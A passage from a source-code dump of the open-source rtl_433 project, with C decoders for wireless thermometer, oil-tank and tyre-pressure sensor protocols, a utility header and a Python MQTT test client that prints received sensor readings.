(flags & 1) 74 | // When binding, the countdown counts up from 0x51 to 0x5a 75 | // (as long as you hold the magnet to it for long enough) 76 | // before the device ID changes. The receiver unit needs 77 | // to receive this *strongly* in order to change its 78 | // allegiance. 79 | binding_countdown = b[6]; 80 | else 81 | // A depth reading of zero indicates no reading. Even with 82 | // the sensor flat down on a table, it still reads about 13. 83 | depth = ((b[5] & 3) << 8) | b[6]; 84 | 85 | data = data_make("time", "", DATA_STRING, time_str, 86 | "model", "", DATA_STRING, "Oil Watchman", 87 | "id", "", DATA_FORMAT, "%06x", DATA_INT, unit_id, 88 | "flags", "", DATA_FORMAT, "%02x", DATA_INT, flags, 89 | "maybetemp", "", DATA_INT, maybetemp, 90 | "temperature_C", "", DATA_DOUBLE, temperature, 91 | "binding_countdown", "", DATA_INT, binding_countdown, 92 | "depth", "", DATA_INT, depth, 93 | NULL); 94 | data_acquired_handler(data); 95 | events++; 96 | } 97 | return events; 98 | }; 99 | 100 | static char *output_fields[] = { 101 | "time", 102 | "model", 103 | "id", 104 | "flags", 105 | "maybetemp", 106 | "temperature_C", 107 | "binding_countdown", 108 | "depth", 109 | NULL 110 | }; 111 | 112 | r_device oil_watchman = { 113 | .name = "Watchman Sonic / Apollo Ultrasonic / Beckett Rocket oil tank monitor", 114 | .modulation = FSK_PULSE_PCM, 115 | .short_limit = 1000, 116 | .long_limit = 1000, // NRZ 117 | .reset_limit = 4000, 118 | .json_callback = &oil_watchman_callback, 119 | .disabled = 0, 120 | .fields = output_fields, 121 | }; 122 | -------------------------------------------------------------------------------- /rtl_433/src/devices/tpms_toyota.c: -------------------------------------------------------------------------------- 1 | /* FSK 9-byte Manchester encoded TPMS data with CRC-7. 2 | * Seen on a Toyota Auris(Corolla). The manufacturers of the Toyota TPMS are 3 | * Pacific Industrial Corp and sometimes TRW Automotive and might also be used 4 | * in other car brands. Contact me with your observations! 5 | * 6 | * Copyright (C) 2017 Christian W. Zuckschwerdt 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation; either version 2 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * There are 15 bits of sync followed by 72 bits manchester encoded data. 14 | * Flipping the bits gives a CRC init of 0, which seems more likely. 15 | * E.g. 10101 0101 1000 01 100110011010[...60 manchester bits]01011001101000 16 | * The first data bit is always one, last always 0. Dropping the first data 17 | * bit (which could reasonably be part of the sync) we get 72 bits: 8 bytes 18 | * payload and 1 byte CRC (7-bit CRC in the MSBs with the LSB set to 0). 19 | * 20 | * Particularly interesting is the use of a CRC-7 with 0x7d as truncated poly. 21 | * 22 | * The first 4 bytes are the ID. Followed by likely two 8-bit values, 23 | * a 16-bit value and then the CRC. The values seem to be signed. 24 | */ 25 | 26 | #include "rtl_433.h" 27 | #include "util.h" 28 | 29 | // full preamble is 1 0101 0101 1000 01 = 55 8 30 | static const unsigned char preamble_pattern[2] = { 0x55, 0x80 }; // 12 bits 31 | 32 | static int tpms_toyota_decode(bitbuffer_t *bitbuffer, unsigned row, unsigned bitpos) { 33 | char time_str[LOCAL_TIME_BUFLEN]; 34 | data_t *data; 35 | unsigned int start_pos; 36 | bitbuffer_t packet_bits = {0}; 37 | uint8_t *b; 38 | unsigned id; 39 | char id_str[9]; 40 | unsigned code; 41 | char code_str[21]; 42 | int crc; 43 | 44 | // skip the first 1 bit, i.e. raw "01" to get 72 bits 45 | start_pos = bitbuffer_manchester_decode(bitbuffer, row, bitpos + 2, &packet_bits, 80); 46 | if (start_pos-bitpos < 144) { 47 | return 0; 48 | } 49 | b = packet_bits.bb[0]; 50 | 51 | crc = b[8] >> 1; 52 | if (crc7(b, 8, 0x7d, 0x00) != crc) { 53 | return 0; 54 | } 55 | 56 | id = b[0]<<24 | b[1]<<16 | b[2]<<8 | b[3]; 57 | sprintf(id_str, "%08x", id); 58 | 59 | code = b[4]<<24 | b[5]<<16 | b[6]<<8 | b[7]; 60 | sprintf(code_str, "%08x", code); 61 | 62 | local_time_str(0, time_str); 63 | data = data_make( 64 | "time", "", DATA_STRING, time_str, 65 | "model", "", DATA_STRING, "Toyota", 66 | "type", "", DATA_STRING, "TPMS", 67 | "id", "", DATA_STRING, id_str, 68 | "code", "", DATA_STRING, code_str, 69 | "mic", "", DATA_STRING, "CRC", 70 | NULL); 71 | 72 | data_acquired_handler(data); 73 | return 1; 74 | } 75 | 76 | static int tpms_toyota_callback(bitbuffer_t *bitbuffer) { 77 | unsigned bitpos = 0; 78 | int events = 0; 79 | 80 | bitbuffer_invert(bitbuffer); 81 | 82 | // Find a preamble with enough bits after it that it could be a complete packet 83 | while ((bitpos = bitbuffer_search(bitbuffer, 0, bitpos, (const uint8_t *)&preamble_pattern, 12)) + 158 <= 84 | bitbuffer->bits_per_row[0]) { 85 | events += tpms_toyota_decode(bitbuffer, 0, bitpos + 12); 86 | bitpos += 2; 87 | } 88 | 89 | return events; 90 | } 91 | 92 | static char *output_fields[] = { 93 | "time", 94 | "model", 95 | "type", 96 | "id", 97 | "code", 98 | "mic", 99 | NULL 100 | }; 101 | 102 | r_device tpms_toyota = { 103 | .name = "Toyota TPMS", 104 | .modulation = FSK_PULSE_PCM, 105 | .short_limit = 52, // 12-13 samples @250k 106 | .long_limit = 52, // FSK 107 | .reset_limit = 150, // Maximum gap size before End Of Message [us]. 108 | .json_callback = &tpms_toyota_callback, 109 | .disabled = 0, 110 | .demod_arg = 0, 111 | .fields = output_fields, 112 | }; 113 | -------------------------------------------------------------------------------- /rtl_433/tests/mqtt_rtl_433_test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ MQTT test client for receiving rtl_433 JSON data 3 | 4 | Example program for receiving and parsing sensor data from rtl_433 sent 5 | as MQTT network messages. Recommended way of sending rtl_433 data on network is: 6 | 7 | $ rtl_433 -F json -U | mosquitto_pub -t home/rtl_433 -l 8 | 9 | An MQTT broker e.g. 'mosquitto' must be running on local compputer 10 | 11 | Copyright (C) 2017 Tommy Vestermark 12 | This program is free software; you can redistribute it and/or modify 13 | it under the terms of the GNU General Public License as published by 14 | the Free Software Foundation; either version 2 of the License, or 15 | (at your option) any later version. 16 | """ 17 | 18 | import multiprocessing as mp 19 | import logging 20 | import paho.mqtt.client as mqtt 21 | import json 22 | import sys, os 23 | import time, datetime 24 | 25 | MQTT_SERVER = "127.0.0.1" 26 | MQTT_TOPIC_PREFIX = "home/rtl_433" 27 | TIMEOUT_STALE_SENSOR = 600 # Seconds before showing a timeout indicator 28 | 29 | #log = logging.getLogger() # Single process logger 30 | log = mp.log_to_stderr() # Multiprocessing capable logger 31 | mqtt_client = mqtt.Client("RTL_433_Test") 32 | 33 | sensor_state = dict() # Dictionary containing accumulated sensor state 34 | 35 | 36 | def print_sensor_state(): 37 | """ Print accumulated sensor state """ 38 | time_now = datetime.datetime.utcnow().replace(microsecond=0) 39 | print("\nUpdate per {} UTC".format(time_now.isoformat(sep=' '))) 40 | for model in sensor_state: 41 | print(model) 42 | for ID in sensor_state[model]: 43 | data = sensor_state[model][ID]['data'].copy() 44 | timestamp = data.pop('time') 45 | timedelta = (time_now-timestamp).total_seconds() 46 | indicator = "*" if (timedelta < 2) else "~" if (timedelta > TIMEOUT_STALE_SENSOR) else " " # Indicator for new and stale data 47 | print(" ID {:5} {}{} {}".format(ID, timestamp.isoformat(sep=' '), indicator, data)) 48 | sys.stdout.flush() # Print in real-time 49 | 50 | 51 | def on_connect(client, userdata, rc): 52 | """ Callback for when the client receives a CONNACK response from the server. """ 53 | log.info("MQTT Connection: " + mqtt.connack_string(rc)) 54 | if rc != 0: 55 | log.error("Could not connect. RC: " + str(rc)) 56 | exit() 57 | # Subscribing in on_connect() means that if we lose the connection and reconnect then subscriptions will be renewed. 58 | client.subscribe(MQTT_TOPIC_PREFIX + "/#") 59 | 60 | 61 | def on_disconnect(client, userdata, rc): 62 | if rc != 0: 63 | log.error("Unexpected disconnection. RC: " + str(rc)) 64 | 65 | 66 | def on_message(client, userdata, msg): 67 | """ Callback for when a PUBLISH message is received from the server. """ 68 | if msg.topic.startswith(MQTT_TOPIC_PREFIX): 69 | try: 70 | # Decode JSON payload 71 | d = json.loads(msg.payload.decode()) 72 | except: 73 | log.warning("JSON decode error: " + msg.payload.decode()) 74 | return 75 | 76 | # Convert time string to datetime object 77 | time_str = d.get('time', "0000-00-00 00:00:00") 78 | time_utc = datetime.datetime.strptime(time_str, "%Y-%m-%d %H:%M:%S") 79 | d['time'] = time_utc 80 | # Update sensor_state 81 | sensor_model = d.pop('model', 'unknown') 82 | sensor_id = d.pop('id', 0) 83 | sensor_state.setdefault(sensor_model,{}).setdefault(sensor_id,{})['data'] = d 84 | print_sensor_state() 85 | else: 86 | log.info("Uknown topic: " + msg.topic + "\t" + msg.payload.decode()) 87 | 88 | 89 | # Setup MQTT client 90 | mqtt_client.on_connect = on_connect 91 | mqtt_client.on_disconnect = on_disconnect 92 | mqtt_client.on_message = on_message 93 | mqtt_client.connect(MQTT_SERVER) 94 | mqtt_client.loop_start() 95 | 96 | 97 | def main(): 98 | """MQTT Test Client""" 99 | log.setLevel(logging.INFO) 100 | log.info("MQTT RTL_433 Test Client") 101 | 102 | while True: 103 | time.sleep(1) 104 | 105 | 106 | if __name__ == "__main__": 107 | main() 108 | -------------------------------------------------------------------------------- /rtl_433/src/devices/solight_te44.c: -------------------------------------------------------------------------------- 1 | /* Solight TE44 2 | * 3 | * Generic wireless thermometer of chinese provenience, which might be sold as part of different kits. 4 | * 5 | * So far these were identified (mostly sold in central/eastern europe) 6 | * - Solight TE44 7 | * - Solight TE66 8 | * - EMOS E0107T 9 | * 10 | * Rated -50 C to 70 C, frequency 433,92 MHz, three selectable channels. 11 | * 12 | * --------------------------------------------------------------------------------------------- 13 | * 14 | * Data structure: 15 | * 16 | * 12 repetitions of the same 36 bit payload, 1bit zero as a separator between each repetition. 17 | * 18 | * 36 bit payload format: xxxxxxxx 10ccmmmm tttttttt 1111hhhh hhhh 19 | * 20 | * x - random key - changes after device reset - 8 bits 21 | * c - channel (0-2) - 2 bits 22 | * m - multiplier - signed integer, two's complement - 4 bits 23 | * t - temperature in celsius - unsigned integer - 8 bits 24 | * h - checksum - 8 bits 25 | * 26 | * Temperature in C = ((256 * m) + t) / 10 27 | * 28 | * ---------------------------------------------------------------------------------------------- 29 | * 30 | * Copyright (C) 2017 Miroslav Oujesky 31 | * This program is free software; you can redistribute it and/or modify 32 | * it under the terms of the GNU General Public License as published by 33 | * the Free Software Foundation; either version 2 of the License, or 34 | * (at your option) any later version. 35 | */ 36 | 37 | #include "data.h" 38 | #include "rtl_433.h" 39 | #include "util.h" 40 | 41 | static int solight_te44_callback(bitbuffer_t *bitbuffer) { 42 | 43 | data_t *data; 44 | char time_str[LOCAL_TIME_BUFLEN]; 45 | 46 | uint8_t id; 47 | uint8_t channel; 48 | int8_t multiplier; 49 | uint8_t temperature_raw; 50 | float temperature; 51 | 52 | bitrow_t *bb = bitbuffer->bb; 53 | 54 | // simple payload structure check (as the checksum algorithm is still unclear) 55 | if (bitbuffer->num_rows != 12) { 56 | return 0; 57 | } 58 | 59 | for (int i = 0; i < 12; i++) { 60 | int bits = i < 11 ? 37 : 36; // last line does not contain single 0 separator 61 | 62 | // all lines should have correct length 63 | if (bitbuffer->bits_per_row[i] != bits) { 64 | return 0; 65 | } 66 | 67 | // all lines should have equal content 68 | // will work also for the last, shorter line, as the separating bit is allways 0 anyway 69 | if (i > 0 && 0 != memcmp(bb[i], bb[i - 1], BITBUF_COLS)) { 70 | return 0; 71 | } 72 | } 73 | 74 | local_time_str(0, time_str); 75 | 76 | id = bb[0][0]; 77 | 78 | channel = (uint8_t) ((bb[0][1] & 0x30) >> 4); 79 | 80 | multiplier = (int8_t) (bb[0][1] & 0x0F); 81 | // multiplier is 4bit signed value in two's complement format 82 | // we need to pad with 1s if it is a negative number (starting with 1) 83 | if ((multiplier & 0x08) > 0) { 84 | multiplier |= 0xF0; 85 | } 86 | 87 | temperature_raw = (uint8_t) bb[0][2]; 88 | 89 | temperature = (float) (((256 * multiplier) + temperature_raw) / 10.0); 90 | 91 | data = data_make("time", "", DATA_STRING, time_str, 92 | "model", "", DATA_STRING, "Solight TE44", 93 | "id", "Id", DATA_INT, id, 94 | "channel", "Channel", DATA_INT, channel + 1, 95 | "temperature_C", "Temperature", DATA_FORMAT, "%.02f C", DATA_DOUBLE, temperature, 96 | NULL); 97 | data_acquired_handler(data); 98 | 99 | return 1; 100 | 101 | } 102 | 103 | static char *output_fields[] = { 104 | "time", 105 | "model", 106 | "id", 107 | "channel", 108 | "temperature_C", 109 | NULL 110 | }; 111 | 112 | r_device solight_te44 = { 113 | .name = "Solight TE44", 114 | .modulation = OOK_PULSE_PPM_RAW, 115 | .short_limit = 1500, // short gap = 972 us 116 | .long_limit = 3000, // long gap = 1932 us 117 | .reset_limit = 6000, // packet gap = 3880 us 118 | .json_callback = &solight_te44_callback, 119 | .disabled = 0, 120 | .demod_arg = 0, 121 | .fields = output_fields, 122 | }; -------------------------------------------------------------------------------- /rtl_433/src/devices/steelmate.c: -------------------------------------------------------------------------------- 1 | /* Steelmate TPMS FSK protocol 2 | * 3 | * Copyright © 2016 Benjamin Larsson 4 | * Copyright © 2016 John Jore 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Packet payload: 9 bytes. 12 | * Bytes 2 to 9 are inverted Manchester with swaped MSB/LSB: 13 | * 14 | * 0 1 2 3 4 5 6 7 8 15 | * [00] {72} 00 00 7f 3c f0 d7 ad 8e fa 16 | * After translating 00 00 01 c3 f0 14 4a 8e a0 17 | * SS SS AA II II PP TT BB CC 18 | * S = sync, (0x00) 19 | * A = preamble, (0x01) 20 | * I = id, 0xc3f0 21 | * P = Pressure as double the PSI, 0x14 = 10 PSI 22 | * T = Temperature in Fahrenheit, 0x4a = 74 'F 23 | * B = Battery as half the millivolt, 0x8e = 2.84 V 24 | * C = Checksum, adding bytes 2 to 7 modulo 256 = byte 8,(0x01+0xc3+0xf0+0x14+0x4a+0x8e) modulus 256 = 0xa0 25 | */ 26 | 27 | 28 | #include "rtl_433.h" 29 | #include "pulse_demod.h" 30 | #include "util.h" 31 | 32 | static int steelmate_callback(bitbuffer_t *bitbuffer) { 33 | //if (debug_output >= 1) { 34 | // fprintf(stdout, "Steelmate TPMS decoder\n"); 35 | // bitbuffer_print(bitbuffer); 36 | // fprintf(stdout, "\n"); 37 | //} 38 | 39 | char time_str[LOCAL_TIME_BUFLEN]; 40 | local_time_str(0, time_str); 41 | bitrow_t *bb = bitbuffer->bb; 42 | 43 | //Loop through each row of data 44 | for (int i = 0; i < bitbuffer->num_rows; i++) 45 | { 46 | //Payload is inverted Manchester encoded, and reversed MSB/LSB order 47 | uint8_t preAmble, ID1, ID2, p1, tempFahrenheit, tmpbattery_mV, payload_checksum, calculated_checksum; 48 | uint16_t sensorID, battery_mV; 49 | float pressurePSI; 50 | char sensorIDhex[7]; 51 | data_t *data; 52 | 53 | //Length must be 72 bits to be considered a valid packet 54 | if (bitbuffer->bits_per_row[i] != 72) 55 | continue; 56 | 57 | //Valid preamble? (Note, the data is still wrong order at this point. Correct pre-amble: 0x00 0x00 0x01) 58 | if (bb[i][0] != 0x00 || bb[i][1] != 0x00 || bb[i][2] != 0x7f) 59 | continue; 60 | 61 | //Preamble 62 | preAmble = ~reverse8(bb[i][2]); 63 | 64 | //Sensor ID 65 | ID1 = ~reverse8(bb[i][3]); 66 | ID2 = ~reverse8(bb[i][4]); 67 | 68 | //Pressure is stored as twice the PSI 69 | p1 = ~reverse8(bb[i][5]); 70 | 71 | //Temperature is stored in Fahrenheit. Note that the datasheet claims operational to -40'C, but can only express values from -17.8'C 72 | tempFahrenheit = ~reverse8(bb[i][6]); 73 | 74 | //Battery voltage is stored as half the mV 75 | tmpbattery_mV = ~reverse8(bb[i][7]); 76 | 77 | //Checksum is a sum of all the other values 78 | payload_checksum = ~reverse8(bb[i][8]); 79 | calculated_checksum = preAmble + ID1 + ID2 + p1 + tempFahrenheit + tmpbattery_mV; 80 | if (payload_checksum != calculated_checksum) 81 | continue; 82 | 83 | sensorID = (ID1 << 8) + ID2; 84 | sprintf(sensorIDhex, "0x%04x", sensorID); 85 | pressurePSI = (float)p1 / 2; 86 | battery_mV = tmpbattery_mV * 2; 87 | 88 | data = data_make("time", "", DATA_STRING, time_str, 89 | "type", "", DATA_STRING, "TPMS", 90 | "model", "", DATA_STRING, "Steelmate", 91 | "id", "", DATA_STRING, sensorIDhex, 92 | "pressure_PSI", "", DATA_DOUBLE, pressurePSI, 93 | "temperature_F", "", DATA_DOUBLE, (float)tempFahrenheit, 94 | "battery_mV", "", DATA_INT, battery_mV, 95 | "mic", "Integrity", DATA_STRING, "CHECKSUM", 96 | NULL); 97 | data_acquired_handler(data); 98 | 99 | return 1; 100 | } 101 | 102 | //Was not a Steelmate TPMS after all 103 | return 0; 104 | } 105 | 106 | static char *output_fields[] = { 107 | "time", 108 | "type", 109 | "model", 110 | "id", 111 | "pressure_PSI", 112 | "temperature_F", 113 | "battery_mV", 114 | "mic", 115 | NULL 116 | }; 117 | 118 | r_device steelmate = { 119 | .name = "Steelmate TPMS", 120 | .modulation = FSK_PULSE_MANCHESTER_ZEROBIT, 121 | .short_limit = 12*4, 122 | .long_limit = 0, 123 | .reset_limit = 27*4, 124 | .json_callback = &steelmate_callback, 125 | .disabled = 0, 126 | .fields = output_fields, 127 | }; 128 | -------------------------------------------------------------------------------- /rtl_433/include/util.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Various utility functions for use by device drivers 3 | * 4 | * Copyright (C) 2015 Tommy Vestermark 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 2 of the License, or 8 | * (at your option) any later version. 9 | */ 10 | 11 | #ifndef INCLUDE_UTIL_H_ 12 | #define INCLUDE_UTIL_H_ 13 | 14 | #include 15 | #include 16 | 17 | // Helper macros 18 | #ifndef max 19 | #define max(a,b) ((a) > (b) ? (a) : (b)) 20 | #endif 21 | #ifndef min 22 | #define min(a,b) ((a) < (b) ? (a) : (b)) 23 | #endif 24 | 25 | /// Reverse the bits in an 8 bit byte 26 | /// @param x: input byte 27 | /// @return bit reversed byte 28 | uint8_t reverse8(uint8_t x); 29 | 30 | /// CRC-7 31 | /// 32 | /// @param message[]: array of bytes to check 33 | /// @param nBytes: number of bytes in message 34 | /// @param polynomial: CRC polynomial 35 | /// @param init: starting crc value 36 | /// @return CRC value 37 | uint8_t crc7(uint8_t const message[], unsigned nBytes, uint8_t polynomial, uint8_t init); 38 | 39 | /// Generic Cyclic Redundancy Check CRC-8 40 | /// 41 | /// Example polynomial: 0x31 = x8 + x5 + x4 + 1 (x8 is implicit) 42 | /// Example polynomial: 0x80 = x8 + x7 (a normal bit-by-bit parity XOR) 43 | /// 44 | /// @param message[]: array of bytes to check 45 | /// @param nBytes: number of bytes in message 46 | /// @param polynomial: byte is from x^7 to x^0 (x^8 is implicitly one) 47 | /// @param init: starting crc value 48 | /// @return CRC value 49 | uint8_t crc8(uint8_t const message[], unsigned nBytes, uint8_t polynomial, uint8_t init); 50 | 51 | /// "Little-endian" Cyclic Redundancy Check CRC-8 LE 52 | /// 53 | /// Based on code generated from PyCyc, (pycrc.org) 54 | /// 55 | /// @param message[]: array of bytes to check 56 | /// @param nBytes: number of bytes in message 57 | /// @param polynomial: CRC polynomial 58 | /// @param init: starting crc value 59 | /// @return CRC value 60 | uint8_t crc8le(uint8_t const message[], unsigned nBytes, uint8_t polynomial, uint8_t init); 61 | 62 | /// CRC-16 63 | /// 64 | /// @param message[]: array of bytes to check 65 | /// @param nBytes: number of bytes in message 66 | /// @param polynomial: CRC polynomial 67 | /// @param init: starting crc value 68 | /// @return CRC value 69 | uint16_t crc16(uint8_t const message[], unsigned nBytes, uint16_t polynomial, uint16_t init); 70 | 71 | /// CRC-16 CCITT 72 | /// 73 | /// @param message[]: array of bytes to check 74 | /// @param nBytes: number of bytes in message 75 | /// @param polynomial: CRC polynomial 76 | /// @param init: starting crc value 77 | /// @return CRC value 78 | uint16_t crc16_ccitt(uint8_t const message[], unsigned nBytes, uint16_t polynomial, uint16_t init); 79 | 80 | /// compute bit parity of a single byte 81 | /// 82 | /// @param inByte: single byte to check 83 | /// @return 1 odd parity, 0 even parity 84 | int byteParity(uint8_t inByte); 85 | 86 | // buffer to hold localized timestamp YYYY-MM-DD HH:MM:SS 87 | #define LOCAL_TIME_BUFLEN 32 88 | 89 | /// Printable timestamp in local time 90 | /// 91 | /// @param time_secs: 0 for now, or seconds since the epoch 92 | /// @param buf: output buffer, long enough for YYYY-MM-DD HH:MM:SS 93 | /// @return buf pointer (for short hand use as operator) 94 | char* local_time_str(time_t time_secs, char *buf); 95 | 96 | /// Convert Celsius to Fahrenheit 97 | /// 98 | /// @param celsius: temperature in Celsius 99 | /// @return temperature value in Fahrenheit 100 | float celsius2fahrenheit(float celsius); 101 | 102 | 103 | /// Convert Fahrenheit to Celsius 104 | /// 105 | /// @param celsius: temperature in Fahrenheit 106 | /// @return temperature value in Celsius 107 | float fahrenheit2celsius(float fahrenheit); 108 | 109 | 110 | /// Convert Kilometers per hour (kph) to Miles per hour (mph) 111 | /// 112 | /// @param kph: speed in Kilometers per hour 113 | /// @return speed in miles per hour 114 | float kmph2mph(float kph); 115 | 116 | /// Convert Miles per hour (mph) to Kilometers per hour (kmph) 117 | /// 118 | /// @param mph: speed in Kilometers per hour 119 | /// @return speed in kilometers per hour 120 | float mph2kmph(float kph); 121 | 122 | 123 | #endif /* INCLUDE_UTIL_H_ */ 124 | -------------------------------------------------------------------------------- /rtl_433/src/devices/bresser_3ch.c: -------------------------------------------------------------------------------- 1 | /* Bresser sensor protocol 2 | * 3 | * The protocol is for the wireless Temperature/Humidity sensor 4 | * Bresser Thermo-/Hygro-Sensor 3CH 5 | * also works for Renkforce DM-7511 6 | * 7 | * The sensor sends 15 identical packages of 40 bits each ~60s. 8 | * The bits are PWM modulated with On Off Keying. 9 | * 10 | * A short pulse of 250 us followed by a 500 us gap is a 0 bit, 11 | * a long pulse of 500 us followed by a 250 us gap is a 1 bit, 12 | * there is a sync preamble of pulse, gap, 750 us each, repeated 4 times. 13 | * Actual received and demodulated timings might be 2% shorter. 14 | * 15 | * The data is grouped in 5 bytes / 10 nibbles 16 | * [id] [id] [flags] [temp] [temp] [temp] [humi] [humi] [chk] [chk] 17 | * 18 | * id is an 8 bit random id that is generated when the sensor starts 19 | * flags are 4 bits battery low indicator, test button press and channel 20 | * temp is 12 bit unsigned fahrenheit offset by 90 and scaled by 10 21 | * humi is 8 bit relative humidity percentage 22 | * 23 | * Copyright (C) 2015 Christian W. Zuckschwerdt 24 | */ 25 | #include "rtl_433.h" 26 | #include "pulse_demod.h" 27 | #include "util.h" 28 | #include "data.h" 29 | 30 | static int bresser_3ch_callback(bitbuffer_t *bitbuffer) { 31 | bitrow_t *bb = bitbuffer->bb; 32 | data_t *data; 33 | char time_str[LOCAL_TIME_BUFLEN]; 34 | 35 | int id, status, battery_low, test, channel, temp_raw, humidity; 36 | float temp_f; 37 | 38 | /* note: 39 | 4 double wide sync pulses each go to an own row, the rows length will be 40 | 1 1 1 1 41 1 1 1 1 41 1 1 1 1 41 1 1 1 1 41 1 1 1 1 491 41 | */ 42 | int r = bitbuffer_find_repeated_row(bitbuffer, 3, 40); 43 | if (r < 0 || bitbuffer->bits_per_row[r] > 42) { 44 | return 0; 45 | } 46 | 47 | uint8_t *b = bb[r]; 48 | b[0] = ~b[0]; 49 | b[1] = ~b[1]; 50 | b[2] = ~b[2]; 51 | b[3] = ~b[3]; 52 | b[4] = ~b[4]; 53 | 54 | if (((b[0] + b[1] + b[2] + b[3] - b[4]) & 0xFF) != 0) { 55 | if (debug_output) { 56 | fprintf(stderr, "Bresser 3CH checksum error\n"); 57 | } 58 | return 0; 59 | } 60 | 61 | id = b[0]; 62 | status = b[1]; 63 | battery_low = (b[1] & 0x80) >> 7; 64 | test = (b[1] & 0x40) >> 6; 65 | channel = (b[1] & 0x30) >> 4; 66 | 67 | temp_raw = ((b[1] & 0x0F) << 8) + b[2]; 68 | // 12 bits allows for values -90.0 F - 319.6 F (-67 C - 159 C) 69 | temp_f = (temp_raw - 900) / 10.0; 70 | 71 | humidity = b[3]; 72 | 73 | if ((channel == 0) || (humidity > 100) || (temp_f < -20.0) || (temp_f > 160.0)) { 74 | if (debug_output) { 75 | fprintf(stderr, "Bresser 3CH data error\n"); 76 | } 77 | return 0; 78 | } 79 | 80 | local_time_str(0, time_str); 81 | data = data_make("time", "", DATA_STRING, time_str, 82 | "model", "", DATA_STRING, "Bresser 3CH sensor", 83 | "id", "", DATA_INT, id, 84 | "channel", "Channel", DATA_INT, channel, 85 | "battery", "Battery", DATA_STRING, battery_low ? "LOW": "OK", 86 | "temperature_F", "Temperature", DATA_FORMAT, "%.2f F", DATA_DOUBLE, temp_f, 87 | "humidity", "Humidity", DATA_FORMAT, "%u %%", DATA_INT, humidity, 88 | NULL); 89 | data_acquired_handler(data); 90 | 91 | return 1; 92 | } 93 | 94 | static char *output_fields[] = { 95 | "time", 96 | "model", 97 | "id", 98 | "channel", 99 | "battery", 100 | "temperature_F", 101 | "humidity", 102 | NULL 103 | }; 104 | 105 | r_device bresser_3ch = { 106 | .name = "Bresser Thermo-/Hygro-Sensor 3CH", 107 | .modulation = OOK_PULSE_PWM_RAW, 108 | .short_limit = 375, // short pulse is ~250 us, long pulse is ~500 us 109 | .long_limit = 625, // long gap (with short pulse) is ~500 us, sync gap is ~750 us 110 | .reset_limit = 1250, // maximum gap is 1000 us (long gap + longer sync gap on last repeat) 111 | .json_callback = &bresser_3ch_callback, 112 | .disabled = 0, 113 | .demod_arg = 0, 114 | .fields = output_fields, 115 | }; 116 | -------------------------------------------------------------------------------- /rtl_433/src/devices/calibeur.c: -------------------------------------------------------------------------------- 1 | /* Shenzhen Calibeur Industries Co. Ltd Wireless Thermometer RF-104 Temperature/Humidity sensor 2 | * aka Biltema Art. 84-056 (Sold in Denmark) 3 | * aka ... 4 | * 5 | * NB. Only 3 unique sensors can be detected! 6 | * 7 | * Update (LED flash) each 2:53 8 | * 9 | * Pulse Width Modulation with fixed rate and startbit 10 | * Startbit = 390 samples = 1560 µs 11 | * Short pulse = 190 samples = 760 µs = Logic 0 12 | * Long pulse = 560 samples = 2240 µs = Logic 1 13 | * Pulse rate = 740 samples = 2960 µs 14 | * Burst length = 81000 samples = 324 ms 15 | * 16 | * Sequence of 5 times 21 bit separated by start bit (total of 111 pulses) 17 | * S 21 S 21 S 21 S 21 S 21 S 18 | * 19 | * Channel number is encoded into fractional temperature 20 | * Temperature is oddly arranged and offset for negative temperatures = <6543210> - 41 C 21 | * Allways an odd number of 1s (odd parity) 22 | * 23 | * Encoding legend: 24 | * f = fractional temperature + * 10 25 | * 0-6 = integer temperature + 41C 26 | * p = parity 27 | * H = Most significant bits of humidity [5:6] 28 | * h = Least significant bits of humidity [0:4] 29 | * 30 | * LSB MSB 31 | * ffffff45 01236pHH hhhhh Encoding 32 | */ 33 | #include "rtl_433.h" 34 | #include "util.h" 35 | #include "data.h" 36 | 37 | //static int calibeur_rf104_callback(uint8_t bb[BITBUF_ROWS][BITBUF_COLS], int16_t bits_per_row[BITBUF_ROWS]) { 38 | static int calibeur_rf104_callback(bitbuffer_t *bitbuffer) { 39 | data_t *data; 40 | char time_str[LOCAL_TIME_BUFLEN]; 41 | 42 | uint8_t ID; 43 | float temperature; 44 | float humidity; 45 | bitrow_t *bb = bitbuffer->bb; 46 | 47 | // Validate package (row [0] is empty due to sync bit) 48 | if ((bitbuffer->bits_per_row[1] == 21) // Dont waste time on a long/short package 49 | && (crc8(bb[1], 3, 0x80, 0) != 0) // It should be odd parity 50 | && (memcmp(bb[1], bb[2], 3) == 0) // We want at least two messages in a row 51 | ) 52 | { 53 | uint8_t bits; 54 | 55 | bits = ((bb[1][0] & 0x80) >> 7); // [0] 56 | bits |= ((bb[1][0] & 0x40) >> 5); // [1] 57 | bits |= ((bb[1][0] & 0x20) >> 3); // [2] 58 | bits |= ((bb[1][0] & 0x10) >> 1); // [3] 59 | bits |= ((bb[1][0] & 0x08) << 1); // [4] 60 | bits |= ((bb[1][0] & 0x04) << 3); // [5] 61 | ID = bits / 10; 62 | temperature = (float)(bits % 10) / 10.0; 63 | 64 | bits = ((bb[1][0] & 0x02) << 3); // [4] 65 | bits |= ((bb[1][0] & 0x01) << 5); // [5] 66 | bits |= ((bb[1][1] & 0x80) >> 7); // [0] 67 | bits |= ((bb[1][1] & 0x40) >> 5); // [1] 68 | bits |= ((bb[1][1] & 0x20) >> 3); // [2] 69 | bits |= ((bb[1][1] & 0x10) >> 1); // [3] 70 | bits |= ((bb[1][1] & 0x08) << 3); // [6] 71 | temperature += (float)bits - 41.0; 72 | 73 | bits = ((bb[1][1] & 0x02) << 4); // [5] 74 | bits |= ((bb[1][1] & 0x01) << 6); // [6] 75 | bits |= ((bb[1][2] & 0x80) >> 7); // [0] 76 | bits |= ((bb[1][2] & 0x40) >> 5); // [1] 77 | bits |= ((bb[1][2] & 0x20) >> 3); // [2] 78 | bits |= ((bb[1][2] & 0x10) >> 1); // [3] 79 | bits |= ((bb[1][2] & 0x08) << 1); // [4] 80 | humidity = bits; 81 | 82 | local_time_str(0, time_str); 83 | data = data_make("time", "", DATA_STRING, time_str, 84 | "model", "", DATA_STRING, "Calibeur RF-104", 85 | "id", "ID", DATA_INT, ID, 86 | "temperature_C", "Temperature", 